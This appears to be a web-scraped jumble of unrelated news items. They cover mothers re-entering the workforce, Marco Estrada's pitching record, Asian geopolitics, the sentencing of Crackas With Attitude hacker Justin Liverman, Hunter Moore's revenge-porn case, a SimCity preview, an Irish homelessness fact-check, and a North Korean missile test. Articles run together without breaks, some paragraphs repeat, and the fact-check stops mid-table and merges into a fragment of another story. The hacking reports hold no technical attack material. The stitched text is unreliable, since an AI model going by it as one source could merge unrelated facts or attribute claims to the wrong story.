"All of them saw it as a pause, not a stop, but if you want to come back, you have to plan for that when you leave," she said. "You can't just hope it's going to happen or you are certainly not going to be as successful if you just hope it's going to happen."
Mattox said, looking back, she probably should have done more to pave the way for her eventual return to the workforce.
"I would have been more aggressive, and I would have been more active," said the mom of three, whose kids are 10, 13 and 16. "I think I would have felt a greater sense of urgency to get back."
"Clearly it's taking longer than it used to," she added.
Dorothy Liu, one of my roommates in college and mom to a soon to be 10-year-old, founded a company, VELAtrio Consulting, more than 10 years ago with two other moms who also moved off the corporate track seeking better work-life balance.
A key focus of their business is mentoring women back into the workplace, which is why something Liu wrote on Facebook about moms trying to opt back in really got my attention.
"These are former 'chiefs' who are (OK) being one of the rank and file, have a proven track record and are experienced enough to not fall prey to office politics and other nonsense," she wrote. "Unfortunately, no one seems to have cracked the code on tapping into this incredible resource."
Maybe someone will, and hopefully soon.The veteran right-hander set a Blue Jays record during Wednesday's 7-2 victory over the Phillies by allowing five hits or fewer in 10 consecutive starts. A lot of great pitchers have gone through Toronto -- Dave Stieb, Roy Halladay and Roger Clemens just to name a few -- but none of them had done that.
PHILADELPHIA -- Marco Estrada is once again quietly exceeding expectations start after start. He has been more than good, he has been almost untouchable this season, and there are plenty of numbers to back that up.
PHILADELPHIA -- Marco Estrada is once again quietly exceeding expectations start after start. He has been more than good, he has been almost untouchable this season, and there are plenty of numbers to back that up.
The veteran right-hander set a Blue Jays record during Wednesday's 7-2 victory over the Phillies by allowing five hits or fewer in 10 consecutive starts. A lot of great pitchers have gone through Toronto -- Dave Stieb, Roy Halladay and Roger Clemens just to name a few -- but none of them had done that.
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All of this from a guy who wasn't even a member of the rotation at the start of last year. This past offseason, Estrada signed a two-year deal on the open market, but now his name can be found alongside some of the best pitchers in baseball.
"He's a master of his craft," Blue Jays manager John Gibbons said. "He has probably the best changeup in baseball, I don't know if anybody has one better.... He has different weapons, and without a lot of velocity, he's able to pitch up in the zone, gets fly balls, gets strikeouts up there. He can really throw anything at any time."
Estrada's opponents' batting average tells an even bigger story. The 32-year-old leads all qualified Major League starters with a.168 OBA (52-for-309), with the Dodgers' Clayton Kershaw second at.170 and the Cubs' Jake Arrieta third at.178. That's some pretty good company to be a part of.
Josh Donaldson once said about Estrada that it's probably the most comfortable 0-for-4 a player can take. He meant it as a compliment. Estrada doesn't overpower anybody, he'll almost lull a hitter to sleep, but it's the deception on his changeup and variety of speeds that makes it so difficult.
"His balls-put-in-play average is ridiculous," Donaldson said. "I think that tells you how effective he is on keeping guys off-balance and keeping guys off one pitch or another. He just does a great job of pitching. He's not going to be a guy who blows you away with 95 or 96 [mph]. He's a guy who's going to pitch effectively, changes speeds in the zone, and pitches to all quadrants of the zone, as well."
Even on nights when Estrada doesn't have his best stuff, he finds a way to survive. He allowed two runs on four hits and one walk with five strikeouts against the Phillies but didn't feel comfortable for most of the night.
Estrada wasn't spotting his fastball the way he wanted to. He was occasionally spiking his changeup, and the curveball was inconsistent. But none of that seemed to matter, because he still found a way to get the job done.
"My mindset has changed," Estrada said. "I learned a lot from Mark Buehrle and even David Price when he was with us for a little bit. My mindset has changed completely, and it has helped me out tremendously.
"Days like today, when I don't have everything, it doesn't get to me. I know if I go out there and try to hit the glove with whatever I have, I'm probably going to be pretty successful."A Tale of Two Asias
Whatever happened to the "Asian Century?" In recent months, two Asias, wholly incompatible, have emerged in stark relief.
There is "Economic Asia," the Dr. Jekyll — a dynamic, integrated Asia with 53 percent of its trade now being conducted within the region itself, and a $19 trillion regional economy that has become an engine of global growth.
And then there is "Security Asia," the veritable Mr. Hyde — a dysfunctional region of mistrustful powers, prone to nationalism and irredentism, escalating their territorial disputes over tiny rocks and shoals, and arming for conflict.
In today’s Asia, economics and security no longer run in parallel lines. In fact, they are almost completely in collision.
In the one domain, Asian economies have come in recent years to depend increasingly on China — and one another — for trade, investment, and markets. And this trend toward regional economic integration has been reinforced over the last four years by austerity in Europe and slow growth in the United States. But these same economies now trade nationalist barbs, build navies, and acquire new arms and power projection capabilities. With the exception of China, all major Asian states, though their economies are increasingly integrated within Asia, are tacking hard across the Pacific toward the United States for their security.
So much for the new East Asian community of which many in Asia have dreamed.
What explains the change? Put bluntly, Economic Asia and Security Asia have become increasingly irreconcilable. But where Economic Asia was winning the contest in the decade and a half after the Asian financial crisis of 1997-98, Security Asia has begun to overwhelm those recent trends.
Indeed, so powerful was the rise of Economic Asia that it had challenged even the longstanding American role in the region. Intra-Asian trade and investment took off fast with the end of the Cold War, but Asia’s growing web of economic and political connections was particularly reinforced by the 1997-98 financial crisis, which hit hardest in places like Indonesia and Thailand. Across the region, elites came to view the United States as arrogant and aloof, and groped for their own solutions to regional economic challenges. The United States, which bailed out Mexico in 1994, refused to bail out Thailand just three years later, fueling perceptions that it neglected Southeast Asia. To many in Asia, Washington appeared to be dictating clichéd solutions. And, in the ensuing years, preferential trade agreements, regionally based regulations and standards, and institutions created without American involvement advanced. These have threatened to marginalize the United States over time.
But after two years of nationalistic rhetoric over rocks and islets in the East and South China Seas, Security Asia has roared back. Rampant and competing 19th and 20th-century nationalisms have moved again to the fore as pathologies that seemed frozen in time raise the specter of renewed conflict. A recent study from the Center for Strategic and International Studies reports that defense spending in China, Japan, India, South Korea, and Taiwan has doubled in the past decade, reaching $224 billion last year. Asians have worked for decades to develop a pan-Asian identity and enhance their collective clout in the global system. But economic integration has thus far yielded no basis for collective or cooperative security in the Pacific. Instead, the world’s new center of economic gravity looks fragile and conflicted.
Politics Unbound?
Could Security Asia actually overwhelm, or even destroy, the economic gains that were beginning to pull the region away from its debilitating past? Some have argued that this is a temporary phenomenon — a cynical ploy by Asia’s politicians to build support at a time of domestic weakness.
But it is too easy to write off these recent developments as the product of domestic politics. Yes, China, Japan, South Korea, and Vietnam, among others, are focused on internal economic or political developments. Seoul, for example, is in the midst of a presidential campaign. Japan’s governing party faces a stiff test, and probable defeat, at the hands of a resurgent Liberal Democratic Party next year. China is in the midst of a once-in-a-decade political succession, and, what is more, Beijing has hit the upper limit of its existing growth model, which is delivering diminishing returns and threatens to become a major political vulnerability for the government. Vietnam and others in Southeast Asia face domestic pressures to supercharge their economies and reinvigorate reforms.
Yet while it is true that popular chauvinism is a useful tactic for Asia’s beleaguered politicians, such tactics will yield significant costs and enduring damage. Nor are such passions easily turned on and off. Economic and political nationalism is deeply rooted in all Asian countries. It will survive and thrive even after these various political transitions are complete.
Just take the Vietnam-China relationship. Nayan Chanda wrote in his classic history of Indochina, Brother Enemy, that events after the fall of Saigon demonstrated that "Instead of being the cutting edge of Chinese Communist expansion in Asia that U.S. planners had anticipated, Vietnam proved to be China’s most bitter rival and foe."
"History and nationalism, not ideology," he noted, powerfully shape Asia’s future.
Just as these nationalisms threatened ideologies of Communist solidarity in the late 1970s, so do they now threaten ideologies of pan-Asian integration. Economic Asia is increasingly at risk.
Look, for example, at the recent events in China: As protestors took to the streets this fall in dozens of Chinese cities, Japanese businesses were attacked, thousands of China-Japan flights were canceled, and Honda, Toyota, Panasonic, and other popular Japanese brands closed factories. Sales of Japanese cars in China fell nearly 30 percent in September. The Chinese government, which aspires to a prominent role in international institutions, allowed nationalist passions to overwhelm expansive global ambitions: Beijing scaled back its participation in the 2012 Annual Meetings of the International Monetary Fund and World Bank simply because they were held in Japan.
The ghosts of history are visible elsewhere too. South Korea and Japan have traded nationalist recriminations over even tinier rocky islets. The result is that America’s Northeast Asian allies, despite a robust trade relationship and a powerful shared interest in countering North Korean threats, could not sign even a straightforward intelligence-sharing agreement to enhance cooperation in the face of a common threat from Pyongyang.
Asia’s Schizophrenia
Such developments belie much of what has been written about Asia’s recent evolution. Many have argued, for instance, that Japanese strategy is now motivated principally by realpolitik instincts — specifically a desire to balance rising Chinese power. But if this is true, then it is difficult to understand Tokyo’s festering spat with South Korea.
What is more, Tokyo has long been an exemplar of Economic Asia and a motive force behind the quest for greater regional economic integration. Postwar Japan, a strong U.S. ally with a powerful sense of trans-Pacific identity, has incubated a variety of pan-Asian regional ideas and ideologies, especially with respect to Asian monetary integration. It was Japanese officials who in 1997 proposed the establishment of an Asian Monetary Fund, which helped give rise to today’s Chiang Mai Initiative of bilateral swaps among ASEAN Plus Three countries (the ten Southeast Asian members of ASEAN, plus China, Japan, and South Korea). And it was Junichiro Koizumi, a prime minister with especially robust ties to the United States, who helped to push forward a China-Japan-South Korea trilateral mechanism and, with a competitive eye on China, other trade arrangements on the basis of ASEAN Plus Three.
Amazingly, even amid this autumn’s high geopolitical drama over contested islets, talks among Beijing, Tokyo, and Seoul for a trilateral free trade agreement rolled along. The same phenomenon can be seen in Southeast Asia. As fears of confrontation rose last summer, ASEAN Plus Three, which includes the South China Sea’s three most vocal antagonists (China, Vietnam, and the Philippines), announced a strengthening of the Chiang Mai initiative through pledges that double the arrangement’s size to $240 billion in the event of another financial crisis and the establishment of an implementation office. In November, ASEAN and six partners (Australia, China, India, Japan, New Zealand, and South Korea) launched negotiations for a Regional Comprehensive Economic Partnership that could be worth $17 trillion in trade and will be a counterpoint to Washington’s preferred pact, the Trans-Pacific Partnership (TPP).
Strategic Dilemmas
It is difficult to avoid analogies to Europe in 1914. Norman Angell’s 1910 bestseller, The Great Illusion, argued that war would prove impossible because Western economies were so interdependent as to make conflict suicidal. But Thucydides’ rationales why men go to war — interest, honor, and fear — have tended to prevail in international history.
The current push and pull between Economic Asia and Security Asia thus raises a number of powerful questions.
For one, Asia’s major multilateral institutions have proved to be almost irrelevant to practical problem-solving. Is it, therefore, time to rethink these experiments in regional architecture?
Pan-Asian regionalism has failed to quell Asia’s nationalist demons, and existing institutions, including those that involve the United States, have been largely missing in action throughout the turmoil of recent years. Last summer, ASEAN cohesion collapsed at a meeting in Phnom Penh, with the Cambodian chair at loggerheads with Vietnam and the Philippines over how sharply to confront Beijing. The new East Asia Summit (EAS) has done nothing to consolidate an agenda in between its annual meetings. And the ASEAN Regional Forum (ARF) has, similarly, become an arena for accusations and counterclaims. Indeed, the ARF is perhaps the most pregnant example of institutional failure. ARF is Asia’s leading security forum, yet all of the major sources of prospective conflict — Korea, Asian maritime claims, China-Taiwan, and India-Pakistan — are largely off the table.
Revisiting Asia’s regional institutions could help to fashion mechanisms better able to address the real problems while buttressing the U.S. position. Inertia and "process-centered" rituals continue to predominate at regional meetings. Diplomats rack up frequent flyer miles but little else.
Certainly, it can be useful for heads of state to meet regularly. But it would be wise for a group of like-minded countries, including the United States, to think through a modest but substantive operational agenda for the next EAS meeting to decide priority issues. Then, depending on the issue, leaders could ask that ARF or the Asia Pacific Economic Cooperation (APEC) forum, or another relevant body, follow up with practical actions. This would begin to inject greater relevance into regional institutions and more connectivity among them.
Whither Washington?
A second question concerns the American role in Asia.
The U.S. role as Asia’s security provider has been reinforced even as the region’s economy has become increasingly pan-Asian, with the U.S. role shrinking in relative terms. This begs the question of whether the U.S. security role is sustainable without a significantly increased American economic profile in Asia, not to mention substantially greater leadership from Washington in driving regional trade and investment arrangements.
At present, Washington faces two strategic dilemmas:
First, the triumph of Security Asia would benefit the United States by assuring its centrality. After all, Washington is Asia’s essential strategic balancer and is becoming more so against the backdrop of growing Chinese naval power and projection capabilities. The dilemma, then, is that a security-dominant Asia will, at the same time, be a vastly more volatile region. And such volatility and instability are precisely what the United States has worked for two decades to avoid.
Washington could find itself navigating uncomfortably between competing territorial claimants. It will find it difficult to avoid choosing sides not just on matters of principle, such as freedom of navigation, but also on this or that specific sovereignty claim — for example, in the South China Sea between China and the Southeast Asian countries whom it has courted (some of whom have disputed claims with one another). An American president could ultimately find himself pulled into a military conflict over tiny shoals to which the United States has no claim.
A second dilemma is that Americans seek a stable, dynamic Pacific Rim for the long term and, in that sense, need Economic Asia to prevail. But economically, Asia is increasingly pan-Asian, meaning that American centrality could actually shrink as trade and investment patterns come to further reflect intra-Asian economic and financial integration.
U.S. economic involvement in Asia is growing in absolute terms but receding in relative terms. Trade with the United States comprises a diminishing share of nearly every East Asian country’s total trade. Yet the U.S. response has been deeply inadequate. Thus far, Washington has focused mainly on security "rebalancing" to the exclusion of economic rebalancing. Asians are providing ever more economic public goods to one another, while the U.S. role in this sphere has ebbed.
If present trends persist, America will only continue to recede. Thus the United States needs to raise its economic game in the region. And that will require revitalizing the U.S. economy and fiscal fundamentals. More than any factor, these could make a difference in demonstrating that the United States has staying power in Asia for the long term.
***
If history is any guide, it may take a crisis or game-changing shift for Asia to move more fully onto the positive path of Dr. Jekyll. Greater American involvement with Economic Asia will help. But there are few scenarios likely to produce a more dramatic shift through which Economic Asia could overwhelm Security Asia.
If China stumbles in its efforts to rebalance its economy, concerns will mount that China is falling into the middle-income trap, potentially risking its political stability. That could bring Asians together through a shared interest in avoiding a downward spiral in China. Similarly, a sudden collapse of North Korea could threaten all of Asia, precipitating a sobering crisis and leading nervous Northeast Asians to work together to manage the transition to a reunified Korea.
But Dr. Jekyll faces a very uphill battle. Even under such dramatic scenarios, nationalistic responses could ensue, leading Mr. Hyde to prevail."Liverman publicly posted online documents and personal information unlawfully obtained from a victim's personal account; sent threatening text messages to the same victim's cellphone; and paid an unlawful 'phonebombing' service to call the victim repeatedly with a threatening message," U.S. prosecutors in the Eastern District Court of Virginia said.
Hacked into the AOL email of former CIA director John Brennan and released personal details.
Hacked into the personal emails and phone accounts of the former US spy chief James Clapper.
Broke into the AOL email of the Ex FBI Deputy Director Mark Giuliano.
Remember ""?The hacking group behind a series of embarrassing hacks that targeted personal email accounts of senior officials at the FBI, the CIA, and the White House, among other United States federal agencies in 2015.A member of Crackas With Attitude, who was arrested last year in September, has now been sentenced to five years in federal prison.Justin Liverman, a 25-year-old man from Morehead City, who was known under the online alias "D3F4ULT," was arrested last year along with another member of the group—Andrew Otto Boggs, 23, of North Wilkesboro, who allegedly used the handle "INCURSIO."The duo hacked into multiple government organizations between October 2015 and February 2016. Boggs was sentenced to two years in prison on June 30, 2017, for his role.Liverman pleaded guilty on January 6 this year to conspiracy to hack U.S. government computers and accounts and was sentenced to 5 years in prison on Friday. He will also be forced to pay $145,000 in restitution.According to the plea agreement,Crackas With Attitude targeted more than ten U.S. government officials including the following and caused more than $1.5 million in losses to victims:The hacking group also leaked the personal details of 31,000 government agents belonging to almost 20,000 FBI agents, 9,000 Department of Homeland Security officers, and some number of DoJ staffers.According to the federal officials, the hacking group used social engineering to trick victims into revealing their account numbers, passwords, and other sensitive details, using which they gained access to their accounts.However, a 17-year-old British teenager, who is known as CRACKA and the leader of thehacking group, is actually responsible for carrying out the above attacks. His prosecution is still ongoing in the United Kingdom.At the dissolution of the Senate and the House of Representatives on 9 May 2016 for a general election on 2 July 2016, the parliamentary committees of the 44th Parliament ceased to exist. Therefore inquiries that were not completed have lapsed and submissions cannot be received. However, information about the inquiries is still available on this website.
Information on this committee in the 45th Parliament will be presented here as soon as it is available.
On 2 December 2015, the Senate referred the following matter to the Foreign Affairs, Defence and Trade References Committee for inquiry and report by 1 May 2016. On 17 March 2016, the Senate extended the reporting date for the inquiry to 29 June 2016.
The planned acquisition of the F-35 Lightning II (Joint Strike Fighter).
The closing date for submissions is 19 February 2016.Image: YouTube
On Wednesday, Hunter Moore was sentenced to two and a half years in prison by a federal district judge in Los Angeles, California. He will also be subject to three years of supervised release afterwards, and must pay a $2,000 fine.
Moore, the former operator of IsAnyoneUp.com, has been referred to as the "king of revenge porn." His website hosted nude pictures that were uploaded without the subjects' consent, often with personal information (names and contact information) accompanying them.
Hunter Moore didn't say a word before sentencing and showed no emotion during victim statements.
— Adam Stuffingbaugh (@adamsteinbaugh) December 3, 2015
The site advertised itself as a kind of user-generated content site, soliciting submissions from vengeful exes. But in truth, a considerable chunk of the pictures were acquired through hacked email accounts. In February 2015, Hunter Moore pled guilty to one count of computer hacking under the Computer Fraud and Abuse Act, and one count of aggravated identity theft.
His co-defendant, Charles Evens, whom Moore hired to hack email accounts, also reached a plea agreement with federal authorities in June. He was sentenced last week to two years and one month in prison, with three years supervised release. He must also pay a $2,000 fine.
As part of Hunter Moore's plea agreement, he must notify his probation officer of every "computer, computer-related device, screen name, password, e-mail account or ISP" he uses during his supervised release.
Correction: This article has been corrected to accurately reflect Moore's prison time.The first thing that an old-school SimCity fan is likely to notice about the series' upcoming revamp, due on PCs in February 2013, is the level of detail. This includes graphical detail for sure; cities are finally rendered in full 3D, and you can twist, pan, and zoom the view to your heart's content. The graphics system uses tilt-shift effects and saturated colors to make it seem like you're viewing a tiny, living model world, an impression that is only enhanced by the satisfying thunk and cloud of dust that comes from placing buildings and objects.
But it's the level of detail in the simulation that's really stunning. While the SimCity franchise has always done a good job of covering macro-level trends in the life of your city, the new SimCity lets you get incredibly specific about your citizens. When you set up a residential zone next to a curvy cul-de-sac, for instance, you can actually see the "for sale" signs on the individual houses, and watch the moving vans filling in the vacancies.
Each of those residential families is fully simulated, to the point where you can follow them to their jobs or shopping trips as the days progress. The detail extends to other systems, too: you can actually see your coal piles dwindle as each individual truck picks up the raw fuel and delivers it to a smog-spewing power plant, or watch the cops in a shootout with a distinct criminal. It's a bit mesmerizing.
As far as tracking the larger, macro-level systems in your city, SimCity exposes information in distinct viewable layers, which strip all the extraneous stuff away and "expose the brains to the players" at a glance, as the developers put it. When you place a fire station or a sewage plant, for instance, the game briefly hides all the detritus of the city to show you a live, color-coded circle representing the effective coverage for the new installation. You can then upgrade these buildings after placement with decorative and functional additions, using a snap-on system based on the editor Maxis created for Spore.
The micro- and macro-level details combine to quickly give players a robust idea of how SimCity's interconnected systems play off of each other. Protesting workers in front of a factory, for instance, will tell you point-blank (with a click) that they quit because the factory isn't getting any power. You'll probably notice that those listless, unemployed residents will turn to crime, both by the graffiti that quickly appears on the sides of buildings and by the appearance of individual criminals, such as an arsonist that sets a window-exploding fire in a skyscraper. When things are working, though, the supply trucks and commuter traffic will tell you just as well as the layered view of things like connected power and water systems.
Annoying neighbors for fun and profit
SimCity's persistent, asynchronous multiplayer is focused on joint goals—major projects that can help different nearby cities in different ways. In the demo, this took the form of a new international airport that was being built on the empty land in between three very different cities.
The heavily industrial city to the northwest needs such an airport to provide additional shipping and freight opportunities, while the tourism-focused city to the northeast wants to be able to bring in more fans for a major sporting event at a new stadium (this timed event added a bit of urgency to the airport's completion as well). The newly created, residential-heavy city to the south, meanwhile, mainly saw the airport as a source of new jobs.
A major, multicity project like this requires a lot of varied resources, making them ideal for cooperation between multiple cities. That industrial city, for instance, is perfectly set up to create a plant that can produce the metallic alloys the airport requires, while the southern city with a surfeit of unemployed people can contribute the raw manpower needed to construct the terminals.
Cities in the new SimCity can share resources in other ways as well. It's relatively easy for a darkened city to connect up to a thriving power grid from the industrial metropolis next door, though the power-heavy city needs to grant permission for this kind of connection first (and it's not exactly clear what's in it for them, other than the joy of power altruism).
Connecting cities by road can also help automatically balance some deficiencies via the magic of the commute. In the demo, for instance, connecting a road from the new city to the town with a lot of empty storefronts led to an immediate traffic jam of cars eager to flood in for work opportunities. In short, if you want your city to be a success, you're going to have to make it an attractive place to live and work compared to its surroundings.
Connecting different cities isn't always a positive, though. Nearby towns can also share negative externalities like pollution or crime. In the E3 demo, a criminal in a flashy red car was seen driving in from a largely lawless section of the industrial town to rob a bank in the affluent part of the tourist-heavy city, zooming right by a police station as he did.
With a required Internet connection to play, some might be worried that SimCity will run into Diablo III style server problems at launch. The developers are adamant that they'll be putting backstops in place to prevent those kind of day one issues, but said that if it becomes a problem they could briefly allow people to play offline while things get fixed. That said, the game is designed to be played in that persistent, multiplayer world, so players won't be able to gleefully destroy a city and then go back to an earlier save file as if nothing ever happened, for instance.AN TAOISEACH LEO Varadkar made headlines over the weekend when he said that Ireland has a low level of homelessness when compared with other countries.
Varadkar came in for criticism from homelessness NGOs and opposition politicians for stating that homelessness was low here when compared to Ireland’s “peer countries”.
But what is Ireland’s actual homelessness rate and how do we measure up internationally?
Claim: Ireland has a low level of homelessness when compared to other nations within the EU or OECD*
*TheJournal.ie narrowed the claim to these countries for reasons explained below.
Verdict: UNPROVEN
Due to significant differences in the methodologies and approaches used in measuring homelessness, it is very difficult to compare figures in any meaningful way across different nations
in any meaningful way across different nations While reports referenced below show Ireland having a low rate of homelessness within certain categories, they are based off old data
As well as this, Ireland’s definition of homelessness is significantly narrower than many EU and OECD countries, making direct comparison impossible
We will be presenting an overview of this FactCheck on the Pat Kenny Show tonight, TV3, 10pm
The FactCheck
What was said
Speaking to reporters at the Fine Gael conference over the weekend, Leo Varadkar responded to a question from TheJournal.ie about Ireland’s rising homelessness numbers: “We are actually a country by international standards compared with our peers that has a low level of homelessness,” the Taoiseach said.
They’re the stats and we can provide them for you and that of course is a good thing. It’s a good thing that in Ireland, we’ve a low level of homelessness compared to our peer countries.
Varadkar later tweeted that he had been asked a question about Ireland “having one of the highest homelessness levels”.
“We don’t by international comparison. That’s a fact,” the Taoiseach said.
TheJournal.ie had been investigating the claim as it had been made previously by Varadkar and Housing Minister Eoghan Murphy.
Announcing the housing budget on 10 October, Murphy said Ireland’s rate of homelessness was “low by international standards, which is a good thing”. He and Taoiseach Varadkar have repeated the claim a number of times since.
In October, Varadkar said in a speech that homelessness in Ireland is “low by international standards”. Murphy made a similar statement last week at the launch of the Peter McVerry Trust’s annual report. He also repeated the claim on RTÉ’s Claire Byrne Live on RTÉ1 on Monday.
Junior Minister at the Department of Housing, Damien English, referenced the claim again in the Dáil yesterday, adding that media coverage of the homelessness crisis is “damaging to Ireland’s international reputation”.
The facts
FactCheck contacted the Housing Department and the Government Press Office for the figures they used to back up the statements made by their public representatives.
One report was provided by the Housing Department which looked at homelessness across the European Union. The department also provided links to individual data for a number of EU countries.
(You can view a brief analysis from TheJournal.ie of this data in an additional post here)
A second report was provided by the Government Press Office – this report looked at levels of homelessness within the population of 30 Organisation for Economic Co-operation and Development (OECD) countries. For the purpose of this FactCheck, we will regard “peer countries” as those within the EU and the OECD, as set out in the two reports supplied by government.
A spokesperson from the Housing Department said: “The prevalence of homelessness can be difficult to compare at international level because of the wide ranging variations in availability, categorisation and quality of data.
However it is clear from even the most perfunctory examination that Ireland’s rate of homelessness (i.e. number of persons sleeping rough or residing in emergency accommodation) is low by international standards, including within the EU.”
FactCheck will first look at figures for homeless people in Ireland, before going on to compare it to data from other countries, using the reports as a road map.
Homelessness in Ireland
When media, politicians and commentators refer to the number of homeless people living in Ireland, they are usually referring to the number of people (adults and children) staying in State-funded emergency accommodation (hotels, hostels, etc) on a specific week every month.
These figures are released each month by the Housing Department. Under Section 10 of the Housing Act (1988), the department provides various charities with the funding to house homeless people. The numbers provided by the department, then, are all the people who are listed as staying in this state-funded accommodation (as well as in privately-run hotels and B&Bs).
So the latest figures for the week of 18-24 September show that there were 5,250 adults and 3,124 children staying in this type of accommodation – giving a total of 8,374.
The number of adults staying in state-funded emergency accommodation in Ireland in September. Source: Housing Department
As well as this figure, a twice-yearly count of the number of people sleeping rough on the streets of Dublin is also carried out. The latest count for spring found 138 people sleeping rough in Dublin in April (another count is due this month).
There are a number of people who sleep rough in other towns and cities across the country. The numbers are relatively low compared to Dublin and are not measured regularly. Census 2016 found 21 people sleeping rough in cities and towns outside of Dublin – however, for the purpose of this FactCheck we will only use the latest Dublin figure, as that is the number counted by the government.
That bring us to a combined total of 8,512 – this is the figure that the government is working off when it refers to homelessness.
However, there are a number of people in other unsure housing situations that need to be considered, especially when looking at the figures in an international context.
Women and children living in domestic violence refuges are not counted in Ireland’s housing figures (but are in many other countries), as they fall under the remit of Tusla the Child and Family Agency (rather than the Housing Department). A Tusla report found that in 2015, 1,736 women and 2,621 children were accommodated at some stage in domestic violence specialist accommodation such as refuges, safe houses or supported/transitional accommodation.
Ireland’s figures also don’t include the number of people living in Direct Provision centres awaiting a decision on their asylum applications. Latest figures from the Reception and Integration Agency (which is under the remit of the Department of Justice) show that there were 4,873 people living in Direct Provision centres across the state.
Ireland also doesn’t include people staying in institutions (hospitals and prisons, for example) with no home to go to when they leave. There are no national figures for this cohort.
Finally, Ireland’s homelessness figures do not take into account the number of people living in unstable and unsuitable housing situations – for example, couchsurfing with their friends or families, or doubled up in bedrooms.
Commonly referred to as the “hidden homeless” here, it is hard to get even a rough figure of how many people are in this situation across the country.
It is important to include these metrics as some or all of them are used when measuring homelessness in different countries, so it’s important to keep that in mind when comparing figures from different countries.
If Ireland was to include all the above when measuring homelessness – there would be closer to a rough figure of 17,700 homeless people in the country, as well as an unknown number of “hidden homeless”.
Measuring homelessness internationally
As we already stated, it is notoriously difficult to measure homelessness across different countries – even at EU level. This is because different countries use different definitions of homelessness, measure it differently and report on it differently.
One of the reports referenced by government as backing up its claim is the 2014 report from Feantsa – the European homelessness NGO. The report is titled Extent and Profile of Homelessness in European Member States, and looks at homelessness across 15 EU countries.
The second report – referenced by the Government Press Office – is the OECD Homeless Population report, which attempts to track levels of homelessness across OECD nations. Both reports reference a standardised approach to measuring homelessness known as the European Typology of Homelessness (ETHOS) Light system.
The ETHOS Light system was developed by Feantsa as a way of standardising homelessness data from different countries for the basis of research. Under ETHOS Light, there are six categories used to define homelessness, but not all categories apply in each country.
The categories are:
People living rough People |
etary Resources, NASA in March launched a contest series called "Asteroid Data Hunter," which asks citizen scientists to develop algorithms that can help identify space rocks in Earth's backyard. The contest series, which runs through August, has a total of $35,000 in awards available.
Follow Megan Gannon on Twitter and Google+. Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.CLOSE Speaking with CEOs at a White House town hall, President Donald Trump said his administration is "getting unbelievable credit" for improving the economy. He also previewed his upcoming meeting with Chinese president Xi Jinping later this week. (April 4) AP
This undated file photo released by the North Korean Central News Agency (KCNA), the state news agency of North Korea, shows an "underwater test-fire of strategic submarine ballistic missile" conducted at an undisclosed location in North Korea. (Photo11: KCNA, EPA)
Against the backdrop of the latest North Korean missile test, a new poll finds nearly two-thirds of Americans are extremely concerned the Pyongyang regime has nuclear weapons and say they would back the use of U.S. military force to protect allies in the region in the event of a serious conflict.
The Pew Research Center released the poll, taken well before the new missile test, on Wednesday, just two days before a meeting between President Trump and Chinese President Xi Jinping in which North Korea's behavior is likely to be high on the agenda.
U.S. and South Korean officials identified the projectile launched Wednesday as a KN-15 medium-range missile, which was first publicly tested in February. After the initial test, North Korean leader Kim Jong Un said the missile, called “Pukguksong-2”, gives Pyongyang another nuclear attack capability against the United States and South Korea.
The missile uses pre-loaded solid fuel, which means it takes a shorter time to prepare it for a launch than the liquid propellant missiles that make up most of its arsenal.
U.S. Secretary of State Rex Tillerson acknowledged Wednesday's launch in a terse statement. "The United States has spoken enough about North Korea. We have no further comment."
The topic is expected to be a major part of the talks Friday and Saturday between Trump and Xi in Mar-a-Lago.
As North Korea's neighbor and primary economic partner, Beijing has enormous leverage on Pyongyang but has been reluctant to bring about the collapse of Kim's government because of the danger of unleashing a flood of refugees. Beijing is also wary of taking actions that might result in a unified Korea, likely allied with the U.S., on its doorstep.
In an interview this week with the Financial Times, Trump issued China an ultimatum if it fails to pressure North Korea to scrap its nuclear program, saying Washington is ready to take action unilaterally.
“Well, if China is not going to solve North Korea, we will,” he told the newspaper.
Asked how he would deal with Pyongyang, Trump said: “I’m not going to tell you. You know, I am not the United States of the past where we tell you where we are going to hit in the Middle East.”
Read more:
In the Pew poll taken between mid-February and mid-March, Republicans were more likely than Democrats — 70% compared to 61% — to favor using force if there were an attack, as required by treaties signed with Japan, South Korea and the Philippines.
North Korea fired the projectile in the latest missile test from land around the eastern coastal city of Sinpo. It reached an altitude of 114 miles and traveled 36 miles before falling into the sea, according to a senior official with South Korea's Joint Chiefs of Staff, the Yonhap news service reported. The U.S. Pacific Command, based in Hawaii, said the missile flew for nine minutes.
The overall distance is considerably shorter than the 300 miles reached in the February test, indicating the latest launch might have been a failure.
North Korean state media said the projectile is a surface-to-surface missile that can carry nuclear warheads. It is likely to be an upgraded version of the submarine-launched missile named “Pukguksong” launched last summer. Many South Korean experts say the “Pukguksong-2” missile would be a greater security threat because it can be launched anywhere from a ground-based mobile vehicle.
Ralph Cossa, president of the Pacific Forum CSIS think tank in Honolulu, said he expected North Korea would do something to coincide with the Trump-Xi summit, perhaps even conducting a nuclear test. The missile launch may be a precursor, with more to come as the summit starts later this week, Cossa said, according to the Associated Press.
“I’ve joked before that they don’t mind being hated but they definitely hate to be ignored,” Cossa said.
Recent satellite imagery show possible preparations for a new atomic test at the North’s main nuclear test site, such as the laying of communication cables used to initiate a test and collect data. North Korea’s state media has also said the world will soon witness what it calls “eventful successes” the country achieves in the space development. Washington, Seoul and others call the North’s space program a cover for its long-range missile development program.
The test also comes amid political upheaval in Seoul, where Park Geun-hye, the nation’s first female president, was impeached and removed from power last month amid charges of bribery, extortion and abuse of power. The emergency National Security Council meeting called to discuss the launch was presided over by Kim Kwan-jin, the national security adviser to Acting President Hwang Kyo-han.
South Korea’s Foreign Ministry called the North’s latest missile launch a “reckless provocation” that poses a threat to international peace, while Japan’s Chief Cabinet Secretary Yoshihide Suga said the country lodged a strong protest over the launch.
North Korea is pushing hard to upgrade its weapons systems to cope with what it calls U.S. hostility. Many weapons experts say North Korea could have a functioning nuclear-tipped missile capable of reaching the continental U.S. within a few years. North Korea carried out two nuclear tests last year.
Contributing: Associated Press
